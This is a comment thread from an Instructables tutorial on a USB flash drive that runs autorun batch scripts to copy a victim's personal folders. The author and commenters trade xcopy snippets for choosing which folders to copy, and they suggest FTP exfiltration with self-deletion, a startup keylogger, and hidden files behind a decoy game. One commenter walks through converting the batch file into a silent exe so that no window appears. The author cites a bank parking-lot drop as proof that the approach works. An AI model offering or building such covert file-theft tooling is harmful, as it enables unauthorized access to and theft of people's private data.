s13vin4t0r6 years ago
This would be EVEN BETTER if you could make the AutoRun file ALSO run an actual game, and set up the copying thing to run in the background (all very possible!) so it would seem like the user is actually running a game. :D
Actually, have you thought of using portable app suite? I find it to be a great decoy
bigdaddyclint (author)  s13vin4t0r6 years ago
yes you could i thought about doing this. If i do i will change the instructable to show it, thanks for looking.
A good name6 years ago
Okay so basically your making it sound like it's going to hack into the computer when realistically your just assuming that no one can resist looking into a flash drive?
bigdaddyclint (author)  A good name6 years ago
No not at all because it does work on a lot of systems without any user input, some are a little harder such as asking the user to open a file or even just open the flash drive. As an example of how this can be a very useful and dangerous item, few it guys put code like this on 10 or so flash drives then spread them out in a bank parking lot. Within 15 min of the bank opening they had many emails containing bank information that had been emailed to them from the code that they had put into the flash drive, don’t ever think that you need to have access to a computer all you need is a curious user.
You just repeated what I just said.
bigdaddyclint (author)  A good name6 years ago
No I did not just repeat what you said. You are saying this simple code is not defined as hacking in a way no it does not access a locked computer but in a way it is hacking here is a snippet from

Computer hacking is broadly defined as intentionally accesses a computer without authorization or exceeds authorized access.

So in a way yes this is considered hacking, also Wikipedia states that social engineering is also a form of hacking. So if you want to get down to it YES this program does hack and YES you are wrong in saying that all I am doing here is using people to run a program.

I guess in the end I am saying you’re looking into this too much take it for what it’s worth and if you don’t like it move on thanks.
ghostrider26 years ago
seems you have an excellent instructable, sergeant.
is there anyway to not do all folders.. say i want to back up music thats in a folder on my desktop... is there anyway i can back up the music without backing up everything.. i was thinking like: %backupcmd% "%USERPROFILE%\desktop"music" "%drive%\all\music" .. but it didnt work.... but either way great instructions
bigdaddyclint (author)  oldirtydingo6 years ago
i think you have your code wrong it should be as follows if i am correct. %backupcmd% "%USERPROFILE%\desktop\music""%drive%\all\music" with this code it should look in the current users desktop for a folder names music then copy it to flash drive in the folder named all with a folder names music. Hope it works and if it does can you post back thanks.
QwertyuioLP6 years ago
Will this work if CMD and Batch files are blocked not that I want to do this a school or anything'
bigdaddyclint (author)  QwertyuioLP6 years ago
Im not sure give it a try but if you get yourself into trouble its not my fault... what could you need on a public school system anyways?
I was going to try it as a back up program
gibsonav6 years ago
it might not have been the smartest thing to post this with images of you in your uniform. even as an IMO (and with the recent changes in DISA/DOD policies regarding removable storage devices) any PMO/DES officer might get the wrong idea.
bigdaddyclint (author)  gibsonav6 years ago
Well sir as you already stated disa/dod policy states that no un-authorized removable devices will inserted into a disa/dod computers that is If my mind serves me right, anyways if anything is inserted into a disa/dod computer it is logged time, location, and user that committed the offence then it is up to sead pmo/des officer to track down offender in which this case it would be the computer user at fault for not locking out his system or using an un-authorized usb device in the first place, to have his system copied. Also let it be known that I stated that I would not be held responsible for anything that happens from the misuse of this information. Anyways I have cut my name and branch out of the pictures thanks for your information.
noahw6 years ago
We size your images when they get embedded in the Instructable. Large versions of your photos can be found by anyone by clicking on the little "i" in the upper left hand of any of your photos. On the screen that comes up, users are then able to load your original photos and screen captures at full size. Nice work!
Biopyro noahw6 years ago
Crop your screenshots in MS paint or similar before you upload them! This means they will display larger on instructables, and stop people seeing unecessary/personal information.
Gexsta Biopyro6 years ago
Need some help. The command runs flawlessly when i run it from the flash drive but when I'm prompted after inserting the drive the Click Ok to Run a game in windows command gives me an error.O:/ Access is denied. Any ideas on whats wrong?
hellstudios6 years ago
now if you can make this run on linux, mac, etc, I will worship you.
bigdaddyclint (author)  hellstudios6 years ago
never looked into it might just do that if i have the time i will get back to you if i find any info or get it working thanks for looking, dont forget to rate .
It would be incredibly difficult to get it to run on any unix based system(mac, linux, etc), simply because they don't have that built in security hole called autorun.

Remember sony's rootkit? Yeah, that was based on this exact same hole. All that was required to disable was hold down (I believe the key is) left shift and you won't have a problem. Similarly if you hold down left shift it should also prevent this from working.

However, it would be trivial to make a shell script to do something similar on a linux/mac system once executed. You could *theoretically* tell your friend "Hey, check out my <insert type of file here>!", plug in your flash drive and away it goes. If there's interest enough perhaps I'll write an instructable about it. (basically two or three people telling me they want to know ;) )
me want to know!
jimmy dean6 years ago
Could you explain a little more on how to change what you take from their computer. Say I wanted to take their albums or something, would it be %backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My albums or what about all of their documents?
bigdaddyclint (author)  jimmy dean6 years ago
jimmy in the code above the first bit of code is what needs to be changed %backupcmd% "%USERPROFILE%\pictures" this is what looks for the place to copy from the second part "%drive%\all\My albums is telling where to copy to in this case thumb drive then folder all then folder my albums... you should change the first bit of code to make it look where you need it to copy the files from.
Ok. Thanks.
Also I was unable to get this working. My file.bat isn't working properly. Everything is the same, except I only have %backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics" instead of all three things. When I run that, the DOS window pops up for a split second and then closes, and the LED only flashes for a second. When I open all there is nothing in their.
The favorites one worked, so the problem is with the pictures. If my pictures is in my documents, could that screw it up?
If the pictures are inside the documents folder, then yes that screws it up. His code is basically for vista where pictures is outside of the documents folder. If you want to get the pictures on an XP Machine there are two ways. 1: Use the code for documents wich will give you pictures and documents. 2: Change %USERPROFILE%\pictures to %USERPROFILE%\my documents\my pictures I think thats the path for the english language version, if its not you gotta check that yourself, i only got a german version here, and in XP they didn't had the english paths in all language versions like on Vista.
Okay, that makes sense. Thank you.
mman15066 years ago
mine dosent ask for any thing just a unstoppable dos window pops up and it copys everthing
so how did you make it so you didnt have to ask for anything (complete autorun-type-thing......)
i dont know it just doesn't,maybe vista
bigdaddyclint (author)  mman15066 years ago
copys everything... your whole drive or just what you want.. I have not been able to pinpoint this but on some other computers i have been asked what to run by windows some other i have not it does not seem to be an autorun issue or even vista issue because it does it on both vista and xp huh if i have the time i will look into this.
entity07316 years ago
Very Nice Tutorial. Thanks
duck_tape_6 years ago
It didn't do anything for me. I couldn't get it started. I can't figure out what happened.
Try replacing %backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics" With %backupcmd% "%USERPROFILE%\My Documents\My Pictures" "%drive%\all\My pics" Note: the addition of \My Documents\My Pictures. Etc. for the Favorites, Videos and Music.
mastallama6 years ago
You could very easily have it connect to an FTP site, transfer the files and then delete itself from the USB stick...then you have whatever files you wanted and there's no easy way for the person you've just hacked to find out what you took and how you did it. Nice instructable!
bigdaddyclint (author)  mastallama6 years ago
yes that is true i am looking up the best way to do this. Ther are so many things you can do with a thumb drive....
You can do the FTP through the .bat file. The only problem you could run into is if the target machine does not have internet access. The FTP site would have to allow anonymous connections (unless you can figure out how to specify the user/pass in the batch file, I didn't try real hard but the simple stuff didn't work). Once the files are copied you could run a deltree or format command on the usb drive to clear the files off.
NozeDive6 years ago
Very cool instructable you have here. You can check out the hak.5 website for their different "payloads" they have compiled. If you install it onto a U3 drive, it works very well. Once you have setup your payload, you can Google "tools for fools" to find some very useful tools that I'm sure can be used with your instructable here. One that I have had some interest in is the keylogger. Unfortunatly, there is not installation package for it, but using some batch files, you can configure it to install and run every time at startup. Of course, the website and tools I referenced are for entertainment purposes only Keep up the good work!
And people wonder why I have all scripts disabled in my Windows machines.
bfire2006 years ago
awesome! But can anyone tell me the code to have this automatically start when inserted (without hitting any buttons). I saw it in German but couldn't figure it out.
wupme bfire2006 years ago
You need to set the target PC up so it starts the exe file automaticly. There's no way to code the application that way, because XP and Vista are set to ask the User what to do. Maybee U3 Sticks don't bring up that Window, but i never had one, so i don't know for shure. While 98 definately just startet whatever was mentioned in the autorun.inf. I think 2000 did it to, but everything after XP asked usually. If you got a silent moment on that machine, you could set the autostart of applications for that drive so it just starts it. The most simple way to do that is to insert the stick once, activate it, and then remove it. Then when the Owner comes back, give him the stick so he plugs it in himself. Ok, i'm weird today, i hope you understand what i typed there, i need a nap.
bfire200 wupme6 years ago
Thanks, I used the drive.ico file but it doesn't show pic on dirve when inserted. Program works great but drive doesn't open when clicked on. I have to use right click, explore to open. Is this normal?
wupme bfire2006 years ago
If you do a single click in the tree view of windows explorer, it should open the drive to browser it. If it doesn't then thats weird, but shouldn't have anything to do with the content of the stick. But if you did a double click, then you startet the copying of files.
and how are u today corporal
thats sgt to you pvt..... jk did not know if you noticed the extra chevron there.
ohh my i dint see it they kind of blend at that angle i guess god i cant wait till i can join the army
Haha, good luck. You sound like my friend, always trying to convince someone to join the military.
N1CK4ND06 years ago
lol I knew how to do this before, but never had the need to use it. Good instructions though.
bigdaddyclint (author) 6 years ago
I just wanted to thank everyone that has been contributing to the answering of questions by other user I don’t always have the time to get back here and answer everyone with missions and all. But THANK YOU to all that have helped.
mrjubjub6 years ago
I think its is great, it DOES work, however not as silently as I would hope. 1) It always pops up a window with the "Choose an Action" thing 2) It opens a command prompt which executes the invisible.abs script anyway to silences both of these popups? Also, how do I customize a script so it doesnt need the person's username (login name) IE, C:\Documents and Settings\mrjubjub <--- is there a universal replacement that will take this? is it USERPROFILE ? thanks!
wupme mrjubjub6 years ago
You can't silence a .bat with a simple script, but there is an application who creates an exe from a bat that runs completely silent. I forgot the name of it, gonna have a look if i have it on some backup. You can only silence those popups when the Person set Windows to automatically start it without asking. Thats been done on purpose by Microsoft, its a simple click but gives you some more security. If you want it to be silent, set it to execute without askin. In Vista those settings would be found in. Systemsettings (or Systemcontrol? only got a german version) , there you should find something called "automatic start" or something like that. On XP i can't remember, gotta take a look later when i'm at home.
fwjs28 wupme6 years ago is the url (i think)
wupme fwjs286 years ago
You are right, thats it.

Ok short explanation for the non german speaking users.

go to and click on "Bat To Exe Converter", then go to download on the top, and then the download button.

Extract it, then start "Bat_To_Exe_Converter.exe"

On the first line wher it says "Batch Datei" klick the button on the end, and select your bat file.
You should use the file.bat (because we don't need the launch.bat)

Then set the following settings.

"Sichtbartkeit" = "Unsichtbares Programm"
"Arbeitsverzeichniss" = "Aktuelles Arbeitsverzeichniss"
"Temporäre Dateien löschen" = "Nicht löschen"

The next setting HAS to be deactivatet, or vista will ask for admin permission (if the User Control ist activated, as it is by default)
"Verschiedenes" = "Vista Administrator Manifest hinzufügen"

Then just click the "kompilieren" button, and after its finished the "beenden" button.

Now you got a file.exe in the same folder as the file.bat
Now you can delete the file.bat (keep a backup somewhere, if you need to change it), the launch.bat and the invisible.vbs file

Edit your autorun.inf and change the line




Now the process will run completely silent, there will be no command window pupping up for a second.

@bigdaddyclint: Maybee you can add this to your instructable :)
mrjubjub wupme6 years ago
lol, it works, works well. norton detected my creation as a virus, XD damn, this thing is dangerous
wupme mrjubjub6 years ago
Now thats surprising, usually norton ain't that good at detecting threads. My scanners didn't recognize the file as dangerous. Well maybee because it ain't. A silent application is nothing new, and copying files also ain't new. On the other hand, norton also gives an alert on some of my server applications..
wupme wupme6 years ago
Ok another improvement idea by me.
Make all the files (and the all folder) invisible. Most users don't got the view of invisible files activated.

Then put another Folder in there, use one of those small games like "bridging the gap" who don't need to be installed (they just run when you click the exe)
That would lead people to be distracted, and also keeps them letting the thumbdrive in the usb port.

Of course, this is just for information purpose.
So if something like this ever happens to you, you know that you should be curious. ;)
fwjs28 wupme6 years ago
hrmmm....sounds devious...
fwjs28 wupme6 years ago
ooo...i didnt know it was german...
yes the universal replacement is USERPROFILE. look at the 3rd step
Wyle_E6 years ago
" will have to open a simple word editor such as word...." Seeing that steaming pile of Winbloat referred to as "a simple word editor" was good for a laugh.
Yeah. Thanks for that, I needed a laugh.
wupme Wyle_E6 years ago
Yeah you should definately use somthing like notepad.
fwjs286 years ago
mrjubjub6 years ago
man i need a U3 LMAO
unixhed6 years ago
Use the copyfile batch in C:\Documents and Settings, point target to user's home directory on server, schedule it to run on logon, and instant daily backup of users files and settings . . I use a similar batch, but with 'if not exist' to check that user is mapped onto their home directory, and /m for modified files only instead of /d.
bennett0126 years ago
Pretty good idea, I like.
noahs6 years ago
awesome post. i downloaded a ton of stuff this way.
Dr.H2O6 years ago
now don't get it : does that code searches for a file named "music" for example? & will it search that file in all hard drive partitions ? Another Question dude : open\shell is a backup in case of chosing cancel..van we use it directly I mean without any prmpet ?? :):) pardon me but am so ignorant about such Things ~~ ur answer will be appreciated !
hg3416 years ago
wow this is pretty kicking(I have been trying to see how to get a program to do this...)

army? how long have you been in service?what's you fav gun?I don't care if you have killed I don't want to know.
hg341 hg3416 years ago
btw can you copy the internet history? if so can you post the code line i cant find it anywhere(the folder)
bigdaddyclint (author)  hg3416 years ago
rsmaster..ok lets start with the inernet history what os are you using vista/xp/mac/linux. We will work from there hopefully we can get it working might be a little bit, I have been working my tail off over here so i dont get on that much but i will give it a go. and to answer your question about weapons well its got to be the mark19 grenade launcher. its a automatic 40mm over 200 round per minute beast.
Ok sry I want thinking I have vista and xp

and I asked some in school todayhe was deployed for 2 years in iraqhe said that the mark 19 was his fav tooi would love to shot it...have you ever used a bushmaster?

oh and thank you for your helpbe safe
hg341 hg3416 years ago
sry for posting so much but how would you have all the copyed fills put in a sub folder of the computers name?
Great tutorial. I could use some capital letters and punctuation, but it was great and I liked how you explained the code.
Valche6 years ago
awesome! is there anyway that you would be able to do this, but in, say, an opposite configuration? Rather than the flash drive copying the PC's information could you have the PC copy what's on the flash drive?
Valche Valche6 years ago
Nevermind, I found one! Thanks for the instructable and GOOD LUCK out there fighting! Stay safe, you'll be in our thoughts and prayers.
Valche Valche6 years ago
(Here's the link to what I found, the for those who are interested in the same thing!
bigdaddyclint (author)  Valche6 years ago
Im glad i could inspire you to look into this and find what you needed and thank you for keeping me in your thoughts and prayers it means alot. Dont forget to rate.
ProjectZro6 years ago
i forgot to add this is for my backup drive and just want to be able to plug it in and walk away while it backs-up my laptop, it makes it less of a task if it will do it by itself
bigdaddyclint (author) 6 years ago
thanks all for the comments nacho did you copy the code from the site what windows are you using you also have to include the "" around the code where needed.
. C&P'd from this page to Notepad. No editing done. . WinXP Pro SP3. . I don't keep "My Documents" on the boot drive, but that shouldn't be a problem.
bigdaddyclint (author)  NachoMahma6 years ago
This code looks for the current user then the name you want after it like this "%USERPROFILE%\pictures" so in this case it would look for the folder named pictures then copy that, if you do not keep anything in your documents then it will not copy anything I do believe just the folder try putting some other folder in the code that is in your user account such as contacts make it look like this "%USERPROFILE%\contacts" or just open up explorer and see what folders you have under your user account then edit, Also have you tried to use it on another system?
. Over 1GB in My Music, a few screenshots in a sub-folder of My Pictures, and My Videos is empty. . Haven't tried it on another system. Not something I plan on using - I just thought I'd try it out and see if Uncle Sam did a good job of teaching you how to program. I'm willing to help you find out what went wrong (wouldn't be at all surprised if it's something I did) if you're interested. . I'm guessing that %USERPROFILE% is not pointing to the proper drive for My Documents of the logged-in user. The Favorites the BAT file grabbed are in the folder left behind when I moved My Documents. (I used Windows to relocate MyDocs and all other programs can find it in the new location.)
bigdaddyclint (author)  NachoMahma6 years ago
NachoMahma the reason it is not going to copy your files is because they are not in the default places that the user profile would have put them. Batch files are very simple code, some can be somewhat complex. As far as this one it takes into account that most users do not move there defaults. Now if you were to edit the code to point to your specific folder "c:\pictures" then in theory it should work. By the way Uncle Sam did not teach me to code or for that fact any computer smarts. Self taught.. Uncle Sam may be a lot and have a lot but smarts and common sense are not are on those list of things.
. I ECHOed %USERPROFILE%, and, sure enough, it's pointing to a folder on the boot drive. . > but smarts and common sense are not are on those list of things . heehee
. Tried
%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"%backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids"%backupcmd% "%USERPROFILE%\My Music" "%drive%\all\music"%backupcmd% "%USERPROFILE%\My Pictures" "%drive%\all\music"%backupcmd% "%USERPROFILE%\My Videos" "%drive%\all\music"
in file.bat. Same result - just Favorites.
i highlighted it and copied and pasted...i used word
PKTraceur6 years ago
Fallout 3?
...*Highfive* This looks cool, Ill probably try it soon, as a backup of course...

PKM6 years ago
While I of course don't condone copying other users' files without consent because that would be bad, this looks like it has potential as a safe off-hard-drive automated backup. If you leave the thumb drive plugged into your own computer, then it should run whenever you turn your computer on and back up your documents.

A little fiddling might be necessary to make it only save changed files rather than overwrite everything every time, but it's a cheap and simple way to avoid losing important files if your hard drive suddenly goes south (like my friend who spilt lemonade on his laptop and needed me to rescue his irreplaceable gigabytes of photos from Africa).
bigdaddyclint (author)  PKM6 years ago
PKM you are right about the backup, the code already does have the potential to backup and not overwrite everything in folder let me explain<br/>set backupcmd=xcopy /s /c /d /e /h /i /r /y<br/><br/>s Copies directories and subdirectories, unless they are empty. If you omit /s, xcopy works within a single directory. <br/><br/>c Ignores errors.<br/><br/>d mm-dd-yyyy Copies source files changed on or after the specified date only. If you do not include a mm-dd-yyyy value, xcopy copies all Source files that are newer than existing Destination files. This command-line option allows you to update files that have changed. <br/><br/>e Copies all subdirectories, even if they are empty. <br/><br/>h Copies files with hidden and system file attributes.<br/><br/>i If Source is a directory or contains wildcards and Destination does not exist, xcopy assumes destination specifies a directory name and creates a new directory. Then, xcopy copies all specified files into the new directory. <br/><br/>r Copies read-only files.<br/><br/>y Suppresses prompting to confirm that you want to overwrite an existing destination file. <br/><br/>You could just put the main batch file in your start up folder; with let’s say a nice 1tb external hooked up to your computer or even a 16gb flash drive. It would always start and copy new files from the folder/folders you specify, great idea I think I might do this never know when the drive may fail. It beats the mass amount of money people spend on backup software.<br/><br/>For some reason last deployment I lost 3 hard drives.... many many files and pictures just gone, before I got it in my head that its just safer to backup files.<br/>
bigdaddyclint (author) 6 years ago
noahw thanks for the info I guess I did not think of that. Biopyro sorry if you saw somthing you did not like and if i can get the bandwith i might just upload new photos.
NachoMahma6 years ago
. All it grabs for me is Favorites. :(
same here wtf?
teamxiyo6 years ago
worked perfectly, great tutorial :)
louis4966 years ago
"Alt - Print Screen" will capture the active window only.
haha, It's great how there's a folder called PRONO... wonder what's in there.
Holden_vy_s6 years ago
Maybe uploading your files for the more lazier people? Good Instructible.